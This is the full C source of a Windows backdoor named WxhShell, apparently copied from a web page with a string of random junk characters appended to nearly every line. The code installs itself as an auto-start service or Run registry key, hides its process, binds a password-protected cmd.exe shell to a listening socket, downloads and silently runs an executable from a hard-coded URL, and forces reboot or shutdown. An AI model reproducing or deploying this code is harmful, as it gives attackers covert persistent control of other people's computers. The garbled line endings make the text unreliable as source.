  case 'd': { i*vf(0G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _Ai\XS Am  
    if(Boot(SHUTDOWN)) i3y>@$fRL\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QXT *O  
    else { 0/%VejZ'  
    closesocket(wsh); G5x%:,n  
    ExitThread(0); FU~:9EEx  
    } D(S^g+rd  
    break; 4[]4KKO3Q2  
    } &@D,|kHk  
  // 获取shell <N;HB&mr  
  case 's': { |N>TPK&Xt  
    CmdShell(wsh); &mvC<_1n  
    closesocket(wsh); uod&'g{N  
    ExitThread(0); U,u\o@3A  
    break; E>SLR8!C v  
  } <[GkhPfZ  
  // 退出 V`"A|Y  
  case 'x': { X}3o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O%kX=6  
    CloseIt(wsh); /e}NZo{)g  
    break; {^ ^)bf|1'  
    } 13P8Zmco  
  // 离开 h=~ TgTv  
  case 'q': { }%9A+w}o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j!P]xl0vOZ  
    closesocket(wsh); s k_Q\0a  
    WSACleanup(); ] T! >]  
    exit(1); 4HK#]M>yz  
    break; %<8lLRl  
        } LN?W~^gsR  
  } 9q -9UC!g  
  } @ zE>n  
Ytnk^/Z1L  
  // 提示信息 !7lS=D(?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Iw$7f kq  
} ,$96bF "#  
  } eZm,K'/!  
F\Gi;6a  
  return; AVA hS}*t  
} =5jX#Dc5.+  
1/YWDxo,  
// shell模块句柄 {? jr  
int CmdShell(SOCKET sock) $!x8XpR8s  
{ h+! Ld^'c  
STARTUPINFO si; bCF"4KXK  
ZeroMemory(&si,sizeof(si)); X99:/3MXB'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VMUK|pC4 K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v'*#P7%Kf  
PROCESS_INFORMATION ProcessInfo; 54w..8'  
char cmdline[]="cmd"; $)M8@d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .R` {.~_{!  
  return 0; uFIr.U$V  
} d3AOuVUf  
$e7dE$eH  
// 自身启动模式 8-c1q*q)  
int StartFromService(void) PG8|w[V1"  
{ r(IQ)\GR  
typedef struct wPYz&&W  
{ QcGyuS.B  
  DWORD ExitStatus; )Ab!R:4  
  DWORD PebBaseAddress; YT6<1-E#  
  DWORD AffinityMask; |"vUC/R2&  
  DWORD BasePriority; i :wTPR  
  ULONG UniqueProcessId; .AOf-a  
  ULONG InheritedFromUniqueProcessId; jiMI&cl  
}   PROCESS_BASIC_INFORMATION; vlAYKtl3]  
p `)(  
PROCNTQSIP NtQueryInformationProcess; PK@hf[YHe  
%l!Gt"\xm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E=.4(J7K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _Kg:jal  
pmR6(/B#  
  HANDLE             hProcess; 1CFTQB>  
  PROCESS_BASIC_INFORMATION pbi; .olDmFQD  
/pZ]:.A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UGK4uK+I`  
  if(NULL == hInst ) return 0; h\ema|  
Nh7+Vl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %]Gm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7KOM,FWKe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y| *X  
^fT|Wm<  
  if (!NtQueryInformationProcess) return 0; sBGYgBu!a  
I6d4<#Q@L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sf\p>gb  
  if(!hProcess) return 0; (5y+g?9d;  
=Jd ('r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  -z9-f\  
c`94a SnV  
  CloseHandle(hProcess); t(YrF,  
hm"i\JZ3N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #;59THdtPk  
if(hProcess==NULL) return 0; E?1"&D m  
;v0M ::  
HMODULE hMod; M}|<# i7u  
char procName[255]; dYdZt<6W<(  
unsigned long cbNeeded; !iBe/yb  
##~";j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EY=`/~|c  
f$vWi&(  
  CloseHandle(hProcess); @C]]VE  
f$Fa*O-  
if(strstr(procName,"services")) return 1; // 以服务启动 bjvpYZC\5  
R0dIxG%  
  return 0; // 注册表启动 `NqX{26GV+  
} ))Ws{  
d7 )&Z:  
// 主模块 8zv=@`4@G  
int StartWxhshell(LPSTR lpCmdLine) 34ij5bko_)  
{ 7#K%Bo2pG  
  SOCKET wsl; 5g9lO]WDI  
BOOL val=TRUE; Q@B--Omfh  
  int port=0; d1YE$   
  struct sockaddr_in door; s ~'><ioh  
8YNii-pl  
  if(wscfg.ws_autoins) Install(); HPT{83  
u~MD?!LV  
port=atoi(lpCmdLine); o4I&?d7;"  
M{#  
if(port<=0) port=wscfg.ws_port; ATq)8Rm\  
@]$qJFXx  
  WSADATA data; |3\$\qa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?' F>DN  
t Dx!m~[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cR.[4rG'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6- H81y 3  
  door.sin_family = AF_INET; Xq"@Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r,^}/<*  
  door.sin_port = htons(port); (ATvH_Z  
o(iv=(o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @.T w*t  
closesocket(wsl); n^O Wz4  
return 1; Gt{'` P,&9  
} !Gwf"-TQ  
-P!_<\q\l  
  if(listen(wsl,2) == INVALID_SOCKET) { pyPS5vWG  
closesocket(wsl);  q0Rd^c  
return 1; H` !%"  
} 0fc]RkHs"  
  Wxhshell(wsl); v/%q*6@  
  WSACleanup(); AEx|<E0  
/+pPcK  
return 0; z0ULB? *"  
CV <@Rgoa  
} G/tah@N[7  
/rRQ*m_  
// 以NT服务方式启动 -!]Ie4"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z,~"`9>Ss  
{ W?W vT` T{  
DWORD   status = 0; ~z''kH=e  
  DWORD   specificError = 0xfffffff; fneg[K  
z!09vDB^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0>D:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UloZo? e`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s(yVE  
  serviceStatus.dwWin32ExitCode     = 0; IbRy~  
  serviceStatus.dwServiceSpecificExitCode = 0; !X 3/2KRP7  
  serviceStatus.dwCheckPoint       = 0; *|c*/7]<  
  serviceStatus.dwWaitHint       = 0; 5u ED  
)3i}(h0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r.e,!Bs  
  if (hServiceStatusHandle==0) return; (n{sp  
\-c8/=  
status = GetLastError(); {Kp<T  
  if (status!=NO_ERROR) [ e4)"A"  
{ )r O`K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )2Gp3oD?  
    serviceStatus.dwCheckPoint       = 0; Gmcx#?|Tx  
    serviceStatus.dwWaitHint       = 0; J90q\_dY.  
    serviceStatus.dwWin32ExitCode     = status; K7&A^$`  
    serviceStatus.dwServiceSpecificExitCode = specificError; -C$Z%I7 0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _`!@  
    return; *"E?n>b  
  } qlUYu"`i  
g;(r@>U.r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W%]sI n  
  serviceStatus.dwCheckPoint       = 0; ZIAiVq2)  
  serviceStatus.dwWaitHint       = 0; HF-Msu6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4%WV)lt  
} nbYkr*: "t  
ki6`d?  
// 处理NT服务事件,比如:启动、停止 =+gp~RR,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t" 1'B!4  
{ t#|E.G:=  
switch(fdwControl) JWG7QH  
{ 3 uwZ#   
case SERVICE_CONTROL_STOP: 8|[\Tp:;  
  serviceStatus.dwWin32ExitCode = 0; }+`W[h&u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,eRl Z3T  
  serviceStatus.dwCheckPoint   = 0; 5=Bj?xb$'  
  serviceStatus.dwWaitHint     = 0; ' U(v  
  { /qF7^9LtaY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ok X\z[X  
  } U'LO;s04m  
  return; A"Rzn1/  
case SERVICE_CONTROL_PAUSE: uVqJl{e\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  $J mL)r  
  break; CGg:e:4  
case SERVICE_CONTROL_CONTINUE: w_^&X;0^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *MkhRLw\,  
  break; l1c&a[M)  
case SERVICE_CONTROL_INTERROGATE: xy$FS0u  
  break; e%G- +6  
}; \{da|n -  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "}K/ b  
} c}mJ6Pt  
8BNsh[+  
// 标准应用程序主函数 ,@!8jar@w}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >4\V/ I  
{ cFUYT$8>  
LF%1)x  
// 获取操作系统版本 <Xy8}Z`s  
OsIsNt=GetOsVer(); z$G?J+?J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Nl_!%k:  
D4'? V Iz  
  // 从命令行安装 }p t5.'l  
  if(strpbrk(lpCmdLine,"iI")) Install(); fY=iQ?{/[  
mkBQX  
  // 下载执行文件 D0i84I`Z%  
if(wscfg.ws_downexe) { |!%A1 wp#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }(E6:h;}~  
  WinExec(wscfg.ws_filenam,SW_HIDE); `1EBnL_1  
} vkq?z~GA  
NG'VlT  
if(!OsIsNt) { - |[_j$g  
// 如果时win9x,隐藏进程并且设置为注册表启动 jT: :o  
HideProc(); eiEZtu  
StartWxhshell(lpCmdLine); +7 F7Kh  
} T|.Q81.NE  
else ? |8&!F  
  if(StartFromService()) 7gVWu"  
  // 以服务方式启动 JF{,;&sj  
  StartServiceCtrlDispatcher(DispatchTable); 3jS=  
else Sa,N1r  
  // 普通方式启动 F5 LQgK-z  
  StartWxhshell(lpCmdLine); }#'KME4  
}0 <x4|=  
return 0; a m<R!(  
} 1.,mNY^UN  
jLQjv  
%4 SREq  
n[4Nu`E9  
=========================================== (X>y)V  
S OK2{xCG  
CCEx>*E6c  
w|L~+   
#eUfwd6.Y  
Q`vyDoF  
" =rBFMTllM  
H <1?<1^  
#include <stdio.h> _5`M( ;hL2  
#include <string.h> h.?[1hT4R  
#include <windows.h> /t>o -  
#include <winsock2.h> {Y0I A97,  
#include <winsvc.h> Ra{B8)Q  
#include <urlmon.h> w4x8 Sre  
pRU6jV 6e)  
#pragma comment (lib, "Ws2_32.lib") ESomw  
#pragma comment (lib, "urlmon.lib") Hzj*X}X#K  
c%Gz{':+  
#define MAX_USER   100 // 最大客户端连接数 /6q/`vx@  
#define BUF_SOCK   200 // sock buffer Bw_Ih|y,w  
#define KEY_BUFF   255 // 输入 buffer %I.{umU  
!8L Ql}  
#define REBOOT     0   // 重启 > T-O3/KN  
#define SHUTDOWN   1   // 关机 M:I,j  
LqUvEq  
#define DEF_PORT   5000 // 监听端口 ~qqtFjlG^  
+%<Jr<~W  
#define REG_LEN     16   // 注册表键长度 9{TOFjsF  
#define SVC_LEN     80   // NT服务名长度 =TP>Y"  
)I>rC%2P  
// 从dll定义API @[FFYVru  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {``}TsN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2ga}d5lu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :9`1bZ?a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DA wzXsx  
0iL8i#y*  
// wxhshell配置信息 *C:+N>  
struct WSCFG { [.Y=~)7FB  
  int ws_port;         // 监听端口 IRU2/Ycg  
  char ws_passstr[REG_LEN]; // 口令 |M?HdxPa  
  int ws_autoins;       // 安装标记, 1=yes 0=no AO]lXa  
  char ws_regname[REG_LEN]; // 注册表键名 X3-1)|g !z  
  char ws_svcname[REG_LEN]; // 服务名 Kulg84<AwM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0K2[E^.WN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YiJu48J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lET)<V(Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @TprS d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FG H>;H@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i3"sAr P"|  
G 6, 8Xwk  
}; E+)Go-rS(  
w7D:0SGD  
// default Wxhshell configuration </=PN1=A  
struct WSCFG wscfg={DEF_PORT, H<xC%/8  
    "xuhuanlingzhe", vj b?N  
    1, l xfdJNb  
    "Wxhshell", %PS-nF7v  
    "Wxhshell", )2$_:Ek  
            "WxhShell Service", ~"mZ0 E  
    "Wrsky Windows CmdShell Service", Za6oYM_z  
    "Please Input Your Password: ", gQEV;hCO  
  1, _UBI,Dg]  
  "http://www.wrsky.com/wxhshell.exe", 16>uD;G  
  "Wxhshell.exe" p~.@8r(  
    }; PsgzDhRv  
~ YK <T+  
// 消息定义模块 [:QMnJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *Vl =PNn-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W.|6$hRl)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \zi3.;9|;  
char *msg_ws_ext="\n\rExit."; nB5[]x'  
char *msg_ws_end="\n\rQuit."; v'!Nt k  
char *msg_ws_boot="\n\rReboot..."; bIArAS9%  
char *msg_ws_poff="\n\rShutdown..."; C6VoOT )\  
char *msg_ws_down="\n\rSave to "; g5Dx9d{  
Q 8rtZ  
char *msg_ws_err="\n\rErr!"; W/>?1+r.Z  
char *msg_ws_ok="\n\rOK!"; gQuw|u  
+29\'w,  
char ExeFile[MAX_PATH]; \ V>%yl{8  
int nUser = 0; .=yus[,~  
HANDLE handles[MAX_USER];  9+QrTO  
int OsIsNt;  J31M:<  
Xa@wN/"F  
SERVICE_STATUS       serviceStatus; *d@Hnu"q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D5pF:~tQ(j  
n@;x!c< +  
// 函数声明 'pY;]^M  
int Install(void); ql~{`qoD~  
int Uninstall(void); jw[BtRW  
int DownloadFile(char *sURL, SOCKET wsh); dz|*n'd  
int Boot(int flag); @;fE%N  
void HideProc(void); CFm1c1%Hg  
int GetOsVer(void); oKi1=d+T  
int Wxhshell(SOCKET wsl); #( sNk,^Ax  
void TalkWithClient(void *cs); Sx)Il~ x  
int CmdShell(SOCKET sock); kI 3zYD^:  
int StartFromService(void); L~{Vt~H9"  
int StartWxhshell(LPSTR lpCmdLine); 66<\i ltUQ  
1=Zw=ufqV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'd^gRH<z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %^=!s  
6b70w @P!  
// 数据结构和表定义 n u8j_grW  
SERVICE_TABLE_ENTRY DispatchTable[] = 6KCmswvE  
{ dB+GTq=6f  
{wscfg.ws_svcname, NTServiceMain}, /iy*3P,`  
{NULL, NULL} e=l5j"gq  
}; m"( d%N7  
RzRvu]]8  
// 自我安装 'ZH<g8:=@  
int Install(void) bmVgTm&  
{ '[ g)v  
  char svExeFile[MAX_PATH]; NWHH.1|  
  HKEY key; 'e>sHL  
  strcpy(svExeFile,ExeFile); O*03PF^  
e( o/we{  
// 如果是win9x系统,修改注册表设为自启动 )L<?g !j~  
if(!OsIsNt) { 7ml0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6IY}SI0N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bp>ps@zFq  
  RegCloseKey(key); bepYeT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cL)rjty2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); StZRc\k  
  RegCloseKey(key); B~;LBgpp  
  return 0; )~.&bEm\  
    } 2v9s@k/k)6  
  } 3.<6;?  
} !^l4EL5#  
else { l?JO8^Nn  
/GuS IZg"_  
// 如果是NT以上系统,安装为系统服务 S`c]Fc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @ oz&  
if (schSCManager!=0) # 5f|1O  
{ Ef`5fgp? S  
  SC_HANDLE schService = CreateService rF'^w56  
  ( -hVv  
  schSCManager, r$r&4d Y  
  wscfg.ws_svcname, *2Vp4  
  wscfg.ws_svcdisp, Wt+y-ES  
  SERVICE_ALL_ACCESS, L`\`NNQC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3KG)6)1*  
  SERVICE_AUTO_START, $uUb$8 Bu  
  SERVICE_ERROR_NORMAL, t$y&=v  
  svExeFile, EK8E  
  NULL, )pS_+ZF  
  NULL, => uVp  
  NULL, 8XYD L] I'  
  NULL, Y-%l7GErhL  
  NULL V8nz-DL{  
  ); sw$R2K{y  
  if (schService!=0) uq|vNLW26  
  { I[g?Ju >  
  CloseServiceHandle(schService); z[5Y Z~}*  
  CloseServiceHandle(schSCManager); 7TV>6i+7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T3G/v)ufd  
  strcat(svExeFile,wscfg.ws_svcname); #0?"J)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~Q_)>|R2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hB P$9GR  
  RegCloseKey(key); qD(fYOX{C  
  return 0; Ko$ $dkSE  
    } +Q SxYV  
  } .Yu<%  
  CloseServiceHandle(schSCManager); PG^j}  
} qXrt0s[  
} b:FEp'ZS  
mh A~eJ  
return 1; J|gdO+  
} nc3ltT,R  
`W"a! ,s2  
// 自我卸载 |&elZ}8  
int Uninstall(void) Q? <-`7  
{ `7QvwXsH]  
  HKEY key; lC 97_ T  
F?Ju?? O  
if(!OsIsNt) { Y^$HrI(vq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %Qn(rA@9  
  RegDeleteValue(key,wscfg.ws_regname); Np)3+!^1"  
  RegCloseKey(key); eT"Uxhs-}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OH<?DcfeL  
  RegDeleteValue(key,wscfg.ws_regname); 3L-^<'~-k;  
  RegCloseKey(key); :ZdUx  
  return 0; %R_{1GrL'c  
  } EruP  
} :lcea6iO  
} /I&wj^   
else { e^).W3SK]  
gL$&@NY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z?8~[h{i%  
if (schSCManager!=0) gLj?Ys  
{ }{7e7tW6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s #:%x#  
  if (schService!=0) p5c8YfM  
  { pL oy  
  if(DeleteService(schService)!=0) { "i'bTVs  
  CloseServiceHandle(schService); M\/XP| 7  
  CloseServiceHandle(schSCManager); 8 ?TKN~ja  
  return 0; TZ^LA L'8_  
  } \Z5 +$Ij  
  CloseServiceHandle(schService); NlR"$  
  } GA^mgm"O  
  CloseServiceHandle(schSCManager); /dHs &SU,  
} ESQ!@G/n  
} sn\;bq  
B5=3r1Ly  
return 1; 8q_0,>w%  
} H;vZm[\0N-  
Rmh*TQu  
// 从指定url下载文件 P9#)~Zm}]  
int DownloadFile(char *sURL, SOCKET wsh) SPy3~Db-o  
{ 'qeP6}M  
  HRESULT hr; n`5WXpz4;  
char seps[]= "/"; w$Ux?y- L  
char *token; Y^lQX~I2{  
char *file; 2bQ/0?.).-  
char myURL[MAX_PATH]; DnyYMe!r  
char myFILE[MAX_PATH]; \ XH@b6{  
`"<2)yq?  
strcpy(myURL,sURL); 0<P(M:a  
  token=strtok(myURL,seps); g^lFML| %  
  while(token!=NULL) XL"=vbD  
  { )mD \d|7f  
    file=token; t[O+B 6  
  token=strtok(NULL,seps); ,?=KgG1i  
  } >}]H;& l  
cIZc:   
GetCurrentDirectory(MAX_PATH,myFILE); oI$V|D3 9  
strcat(myFILE, "\\"); 2ij/N%l  
strcat(myFILE, file); $%}>zqD1  
  send(wsh,myFILE,strlen(myFILE),0); RjtC:H&XZ  
send(wsh,"...",3,0); 9".Uc8^p/F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m!!;/e?yx  
  if(hr==S_OK) @,6ST0xT (  
return 0; sMJ#<w}Q  
else iPFL"v<#J  
return 1; wO.B~`y  
cju@W]!  
} \(9p&"Q-  
S~&\o\"5  
// 系统电源模块 ^Ezcy?  
int Boot(int flag) 1}DerX6  
{ rgT%XhUS6f  
  HANDLE hToken; >Jiij  
  TOKEN_PRIVILEGES tkp; yy))Z0E5  
Ltg-w\?]  
  if(OsIsNt) { !h/dZ`#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z@n+7p`w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); scmto cm  
    tkp.PrivilegeCount = 1; ]TfeBX6ST  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6m\*]nOy4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (WkTQRcN,  
if(flag==REBOOT) { AG=9b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7(5]Ry:  
  return 0; 59/Q*7ZJ  
} , Z4p0M  
else { ndB@J*Imu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &}O8w77  
  return 0; ~CulFxu  
} jUZ[`f;  
  } P69>gBZYD  
  else { IwnYJp:9v  
if(flag==REBOOT) { B ;;cbY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ju r1!rg%  
  return 0; 6O]Xhe0d@  
} "1\(ZKG8^Q  
else { @!,D%]8"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XZ; *>(  
  return 0; JJ)y2  
} J1& A,Gb  
} ;q'DGzh  
.;cxhgU  
return 1; EOofa6f&l  
} 6@i|Kw(:  
~}Kp  
// win9x进程隐藏模块 [Aa[&RX+9  
void HideProc(void) aKa  R  
{ B?!9W@  
o8iig5bp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M P_A<F  
  if ( hKernel != NULL ) 70d] d+M|  
  { {_?T:`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]L[JS^#7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dw'<"+zO  
    FreeLibrary(hKernel); 5~v(AB(x  
  } 7AS.)Q#=x  
O-y6!u$6&  
return; F]/L!   
} EY,;e\7O,  
3w[<cq.!  
// 获取操作系统版本 +e&m#d  
int GetOsVer(void) :<'i-Ur8  
{ -[i40 1  
  OSVERSIONINFO winfo; |G|*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D|u^8\'.  
  GetVersionEx(&winfo); H ={O13  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6M O|s1zk  
  return 1; BG(R=, 7  
  else H9oXZSm  
  return 0; !$%/ rQ9  
} > C*?17\  
[ t>}SE  
// 客户端句柄模块 ^&f{beU9  
int Wxhshell(SOCKET wsl) X|lElN  
{ jsZiARTZRl  
  SOCKET wsh; tdMP,0u  
  struct sockaddr_in client; Wto@u4  
  DWORD myID; Uxj<x`<1x  
bQ|#_/?  
  while(nUser<MAX_USER) /8P4%[\  
{ Z`SWZ<  
  int nSize=sizeof(client); [[/ }1%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (`q6G d  
  if(wsh==INVALID_SOCKET) return 1; _rWM]  
}5TfQV6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PsF- 9&_  
if(handles[nUser]==0) FcA)RsMI*  
  closesocket(wsh); $ DABR  
else !_^ {udB}  
  nUser++; '0])7jq  
  } ~I/>i&|M1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [t "_}t=w  
TNX%_Q<  
  return 0; IDiUn! 6Q  
} +[ZMrTW!0C  
-6em*$k^  
// 关闭 socket ~q'w),bE"Q  
void CloseIt(SOCKET wsh) do?S,'(g  
{ & 8:iB {n  
closesocket(wsh); n}ZBU5_  
nUser--; l?yZtZ8  
ExitThread(0); :Z*02JwK  
} R5'Z4.~  
=@ L5  
// 客户端请求句柄 [X$|dOm'N  
void TalkWithClient(void *cs) xRTg [  
{ [6RV'7`Abj  
V5hlG =V  
  SOCKET wsh=(SOCKET)cs; k DceBs s  
  char pwd[SVC_LEN]; 2'O!~8U  
  char cmd[KEY_BUFF]; 6%tiB?  
char chr[1]; @$b+~X)7  
int i,j; Bgo"JNM  
=aCIaL&9Y  
  while (nUser < MAX_USER) { YiI:uG!|D  
#LNB@E  
if(wscfg.ws_passstr) { w'!}(Z5X?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (Aov}I+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9q0,K" x)  
  //ZeroMemory(pwd,KEY_BUFF); }v(H E%~}  
      i=0; [}xIg8  
  while(i<SVC_LEN) { ?GMeA}j  
8 *(W |J  
  // 设置超时 zm)CfEF 8  
  fd_set FdRead; 0or6_ y6  
  struct timeval TimeOut; >`,#%MH#  
  FD_ZERO(&FdRead); pg}DC0a  
  FD_SET(wsh,&FdRead); EJ &ZZg  
  TimeOut.tv_sec=8; CsST-qxg  
  TimeOut.tv_usec=0; `v/tf|v 6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i7w}`vs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~BYEeUo;%v  
\8>N<B)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j"$b%|  
  pwd=chr[0]; PRf\6   
  if(chr[0]==0xd || chr[0]==0xa) { Dil4ut- $  
  pwd=0; [Xo J7  
  break; &MGgO\|6  
  }  q&Ua(I  
  i++; :-'ri Ry  
    } [r< Y0|l,m  
NNpa69U  
  // 如果是非法用户,关闭 socket >,Swk3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u #QSa$P  
} ?Kz` O>"6  
~[X:twidkL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "e};?|y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N|# x9mE  
By"ul:.D  
while(1) { HvfTC<+H  
0BwQ!B.  
  ZeroMemory(cmd,KEY_BUFF); $/(/v?3][e  
*q 9$SDm  
      // 自动支持客户端 telnet标准   [z t&8g  
  j=0; &(U=O?r7  
  while(j<KEY_BUFF) { KqIe8bi^G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fl(ZKpSZU  
  cmd[j]=chr[0]; hdDI%3vk3  
  if(chr[0]==0xa || chr[0]==0xd) { ]$k m  
  cmd[j]=0; [8g\pPQ  
  break; ?=o]Wx0(9  
  } ,3TD $2};.  
  j++; "Q!{8 9Y  
    } $R}iL  
:z5I bas:  
  // 下载文件 +[nYu)puP  
  if(strstr(cmd,"http://")) { R}mWHB_h"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8pKPbi;(2  
  if(DownloadFile(cmd,wsh)) R_&V.\e_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {*  _ W  
  else ep1Ajz.l  
